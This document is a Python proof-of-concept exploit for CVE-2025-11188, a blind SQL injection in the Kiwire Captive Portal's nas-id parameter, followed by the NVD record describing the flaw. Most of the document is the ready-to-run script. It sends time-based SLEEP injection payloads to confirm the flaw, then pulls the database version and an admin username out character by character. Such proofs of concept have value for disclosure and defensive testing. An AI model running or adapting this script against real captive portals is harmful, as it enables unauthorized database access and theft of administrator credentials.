CVE-2025-11188

# CVE-2025-11188 - Kiwire Captive Portal Blind SQL Injection PoC # Vulnerability: Blind SQL Injection in nas-id parameter # Author: Security Researcher import requests import time TARGET_URL = "http://target-kiwire-portal.com" NAS_ID_ENDPOINT = "/cgi-bin/login.cgi" # Adjust based on actual endpoint def check_vulnerability(target_url): """Check if the target is vulnerable to blind SQL injection""" # Normal request normal_payload = "valid-nas-id" normal_response = requests.post( f"{target_url}{NAS_ID_ENDPOINT}", data={"nas-id": normal_payload, "username": "test", "password": "test"} ) normal_time = normal_response.elapsed.total_seconds() # Time-based blind SQL injection test injection_payload = "' OR IF(1=1, SLEEP(5), 0) -- -" start_time = time.time() inject_response = requests.post( f"{target_url}{NAS_ID_ENDPOINT}", data={"nas-id": injection_payload, "username": "test", "password": "test"} ) elapsed_time = time.time() - start_time if elapsed_time > 4: # If response delayed by ~5 seconds print(f"[+] Target is VULNERABLE to blind SQL injection!") print(f"[+] Normal response time: {normal_time:.2f}s") print(f"[+] Injection response time: {elapsed_time:.2f}s") return True else: print(f"[-] Target does not appear vulnerable") return False def extract_database_version(target_url): """Extract MySQL version using time-based blind SQL injection""" version = "" for position in range(1, 20): for char_code in range(32, 127): # Time-based extraction: SUBSTRING(version, position, 1) = char_code payload = f"' OR IF(ASCII(SUBSTRING(@@version,{position},1))={char_code}, SLEEP(2), 0) -- -" start_time = time.time() requests.post( f"{target_url}{NAS_ID_ENDPOINT}", data={"nas-id": payload} ) elapsed = time.time() - start_time if elapsed > 1.5: version += chr(char_code) print(f"[+] Extracted so far: {version}") break else: break return version def extract_credentials(target_url, table_name="admin"): """Extract admin credentials from database""" # Example: extract username and password from admin table extracted_data = {} # Extract first admin username username = "" for pos in range(1, 50): for c in range(32, 127): payload = f"' OR IF(ASCII(SUBSTRING((SELECT username FROM {table_name} LIMIT 1),{pos},1))={c}, SLEEP(2), 0) -- -" start = time.time() requests.post(f"{target_url}{NAS_ID_ENDPOINT}", data={"nas-id": payload}) if time.time() - start > 1.5: username += chr(c) break else: break extracted_data["username"] = username print(f"[+] Extracted username: {username}") return extracted_data if __name__ == "__main__": print(f"[*] Testing {TARGET_URL} for CVE-2025-11188") if check_vulnerability(TARGET_URL): version = extract_database_version(TARGET_URL) print(f"[+] Database version: {version}") creds = extract_credentials(TARGET_URL) print(f"[+] Extracted credentials: {creds}")

{"cve": {"id": "CVE-2025-11188", "sourceIdentifier": "[email protected]", "published": "2025-10-10T11:15:40.407", "lastModified": "2025-11-14T23:46:44.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Kiwire Captive Portal contains a blind SQL injection in the nas-id parameter, allowing for SQL commands to be issued and to compromise the corresponding database."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:synchroweb:kiwire:3.6:*:*:*:*:*:*:*", "matchCriteriaId": "70C4518C-CF80-4EC0-B6AE-3B3A9F78FD6D"}]}]}], "references": [{"url": "https://www.synchroweb.com/release-notes/kiwire/security", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://www.kb.cert.org/vuls/id/887923", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"]}]}}